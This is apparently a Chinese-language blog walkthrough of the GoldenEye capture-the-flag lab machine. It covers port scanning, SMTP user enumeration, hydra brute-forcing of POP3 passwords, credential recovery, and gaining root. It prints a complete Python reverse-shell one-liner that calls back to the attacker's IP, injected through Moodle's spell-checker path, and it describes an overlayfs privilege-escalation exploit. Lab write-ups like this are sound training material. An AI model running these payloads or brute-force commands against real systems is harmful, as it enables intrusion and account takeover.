GoldenEye:利用hydra爆破Pop3密码


靶机下载地址

1.信息收集

靶机地址:192.168.71.151

kali地址:192.168.71.139

nmap扫描端口:

除了80端口外,都是邮箱相关的端口,看来这个靶机应该是考察SMTP相关的利用。

Pop3和SMTP

2.Web应用枚举

先查看80端口网页:

提示去/sev-home/登录。访问该目录果然弹出个登录界面。

查看源码发现个可疑的js文件。

terminal.js文件的注释信息里隐藏了一串密码,同时提到了Boris和Natalya两个人名。

解码这一串密码,原来是ASCII码。

尝试用以下用户名和密码登录http://192.168.71.151/sev-home/

boris
InvincibleHack3r

登录成功!查看网页中的提示,是要向管理员发邮件来获取系统管理权限;并提示pop3服务在很大的端口上(默认110端口),在扫描时我们扫描到了55006和55007端口,应该就是pop3服务端口。

查看网页源码,在源码中再次发现Natalya和Boris两个名字,在最下面很隐蔽的地方。这里提示这两个人是网络管理员。

Nikto扫描主机:

OSCP考试中可以使用Nikto

扫描到了一个php文件,访问:http://192.168.71.151/splashAdmin.php

在这个页面里,Admin用户的回复中,提示“黄金眼”系统不再使用GCC。还提到了一个用户Xenia。

3.SMTP枚举和Pop3爆破

SMTP枚举我不熟悉,在查资料的时候,找到了一位兄弟整理的OSCP笔记,这里包括了所有考点的枚举等方法,感谢这位兄弟!

利用SMTP进行用户枚举,查看用户是否存在。

我们之前猜测了三个用户:

  • boris
  • natalya
  • xenia

连接25端口后,依次用VRFY命令验证。

看来在邮件系统中,boris和natalya用户是存在的。

尝试用boris:InvincibleHack3r登录Pop3服务。

认证失败。

hydra爆破邮箱密码。

hydra -P /usr/share/wordlists/fasttrack.txt  -l natalya 192.168.71.151 -s 55007 -I pop3

密码爆破成功,boris用户密码为secret1!

同样,爆破natalya的密码:

爆破成功,natalya用户密码为bird

用获取的账密信息登录pop3服务,获取邮件信息。

boris邮箱中有三封邮件:

来自root管理员

来自natalya

natalya邮箱中的邮件:

第二封邮件里发现了重要的信息:

  • GNO系统的账号密码:

​ username: xenia
​ password: RCP90rulez!

  • 域名:severnaya-station.com
  • URL地址:severnaya-station.com/gnocertdir

按照提示编辑/etc/hosts文件:

访问GNO系统:

用账号密码登录:

登录系统后,发现收到了一封来自doak的邮件。

用之前的方法爆破doak的密码。

doak用户的密码goat。查看邮件:

username: dr_doak
password: 4England!

以这个账号登录GUO系统,发现了一个秘密文件:

秘密文件提示到/dir007key/for-007.jpg去找管理员的账号信息。

查看图片:

用exiftool工具分析该图片,发现了一串base64编码:

base64解码:

根据邮件信息,解码出的**xWinter1995x!**为用户admin的密码。

4.反弹shell

以admin登录GNO系统,在Settings > Site administration > Server > System Paths目录下找到shell payload注入点:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.71.139",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

然后创建新blog并点击拼写检查来触发shellcode,然而并没有成功。

这是因为这个系统是以moodle为模板,而该模板的默认拼写检查并不是刚才设置了shellcode的aspell。

Settings > Site administration >Plugins> Text editors > TinyMCE HTMl editor路径下修改默认拼写检查插件。

将默认拼写插件改成PSpellShell.然后再次通过点击blog的拼写检查来触发。

反弹shell成功!当前用户为www-data。

5.提权

查看系统信息:

cat /etc/lsb-release

发现系统是Ubuntu 14.04,搜索exploit-db发现存在漏洞 :overlayfs本地提权

把exploit下载下来,是c文件。还记得之前在boris的留言板中管理员回复过系统没有gcc,因此无法用gcc编译。

把源码中的“gcc”改成“cc”。

把源码上传到靶机后编译:

cc ofs.c -o ofs

执行ofs文件后,获取到root权限:

查看flag文件

6.总结

这个靶机是做得很痛苦啊!无论是邮件相关枚举还是进入系统后查找反弹shell的注入点,都很麻烦很绕。最后还设置了一个没有gcc的门槛。全程看别人的walkthrough完成。

主要考察知识点如下:

  • SMTP和Pop3的命令
  • 使用hydra爆破密码
  • 寻找反弹shell注入点的能力
  • 利用系统版本漏洞提权

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录